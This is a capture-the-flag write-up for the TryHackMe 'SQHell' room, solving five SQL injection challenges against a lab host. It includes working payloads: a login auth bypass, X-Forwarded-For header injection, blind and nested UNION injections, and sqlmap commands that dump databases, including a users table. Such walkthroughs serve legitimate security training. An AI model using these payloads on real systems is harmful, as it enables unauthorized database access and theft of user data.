Information
Room#
- Name: SQHell
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Try and find all the flags in the SQL Injections.
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S sqlmap |
Preparation#
Add the IP address to the host file for easy access:
1 | $ grep sqhell /etc/hosts |
Flag 1 - auth bypass SQLi#
This one is the most famous classic, a basic SQLi on the login form (http://sqhell.thm/login).
- username:
admin' or 1=1-- -
- password:
whatever
Once the authentication bypass the flag is displayed.
Flag 2 - HTTP header SQLi#
The Terms and Conditions page (http://sqhell.thm/terms-and-conditions) is giving us a precious hint:
iii: We log your IP address for analytics purposes
A common way to try to influence on our IP address via HTTP is to use
the X-Forwarded-For
header.
We can directly set an injection point in this header.
1 | $ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL |
List databases:
1 | $ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL --dbs |
List tables:
1 | $ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 --tables |
List columns:
1 | $ sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag --columns |
Retrieve the flag:
1 | $sqlmap -u 'http://sqhell.thm/terms-and-conditions' -H 'X-Forwarded-For: 10.10.10.10*' --risk 3 --level 5 --dbms MySQL -D sqhell_1 -T flag -C flag --dump |
Flag 3 - boolean-based blind SQLi#
While entering a username on the register page (http://sqhell.thm/register), we can see the app is requesting an API at each key pressed to check the username availability.
The request looks like this and returns a boolean in JSON:
1 | $ curl "http://sqhell.thm/register/user-check?username=noraj" -s | jq |
We can easily try for
1 | $ curl "http://sqhell.thm/register/user-check?username=noraj' OR 1=2-- -" -s | jq |
There we have a boolean-based inferential SQL injection (blind SQLi).
SQLmap was able to identify two techniques:
1 | Parameter: username (GET) |
Let's list databases:
1 | $ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL --dbs |
The only custom database is sqhell_3
, let's list tables:
1 | $ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 --tables |
We must find the flag in the flag
table, not let's find the columns:
1 | $ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag --columns |
Let's dump the entries from this column:
1 | $ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T flag -C flag --dump |
Bonus#
Even if not required it can be interesting to dump the users
table:
1 | $ sqlmap -u 'http://sqhell.thm/register/user-check?username=noraj' -p username --risk 3 --level 5 --dbms MySQL -D sqhell_3 -T users --columns |
Flag 4 - routed SQLi#
This one is similar to Flag 5 until some point.
I'll skip the beginning since it's the same but for users instead of posts.
The difference is here there is no flag database.
1 | $ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 --tables |
We can find the admin account:
1 | $ sqlmap -u 'http://sqhell.thm/user?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_4 -T users --dump |
Nothing? so what?
Hang on tight please, so guess work is required.
Remember the hint?
Well, dreams, they feel real while we're in them right?
It's a quote from the Inception move. The movie is about a dream in a dream in a dream etc. in other words: nested dreams.
There is a quite uncommon and fanciful way to call a nested SQLi (a.k.a. routed SQLi) which is Inception SQLi in reference to the movie.
So here we have a routed / nested SQLi.
We the following payload we are able to detect which columns are reflected.
http://sqhell.thm/user?id=2 union all select 'noraj','is','great' from users-- -
1 | 2 union all select 'noraj','is','great' from users-- - |
And since the hint told us there was routed SQLi we can try to replace noraj
or
is
with a SQL query. The second column is no vulnerable to routed SQLi only the
first one so we need to replace the first column (noraj
).
With the nested payload we can find which column is reflected:
1 | 2 union all select '44 UNION SELECT 5,6,7,8-- -','is','great' from users-- - |
Finally we replace the nested to select the flag. More manual enumeration could have been required in real life to list tables and columns be in this challenge we know it's always the flag column in the flag table.
1 | 2 union all select '44 UNION SELECT 5,flag,7,8 from flag-- -','is','great' from users-- - |
Flag 5 - in-band SQLi#
Posts are identified with a uniq id: http://sqhell.thm/post?id=2
A non existing post id (http://sqhell.thm/post?id=42) will return Post not found.
But with a true condition it will return the 1st post: http://sqhell.thm/post?id=55 OR 1=1
Trying a union query (http://sqhell.thm/post?id=55 UNION SELECT 1,2,3,4) we can see there are 4 columns and column 2 and 3 are displayed. So we have an in-band SQLi.
SQLmap found 4 methods:
1 | Parameter: id (GET) |
Let's list the databases:
1 | $ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL --dbs |
List the tables:
1 | $ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 --tables |
List the columns:
1 | $ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag --columns |
List the entries:
1 | $ sqlmap -u 'http://sqhell.thm/post?id=55' -p id --risk 3 --level 5 --dbms MySQL -D sqhell_5 -T flag -C flag --dump |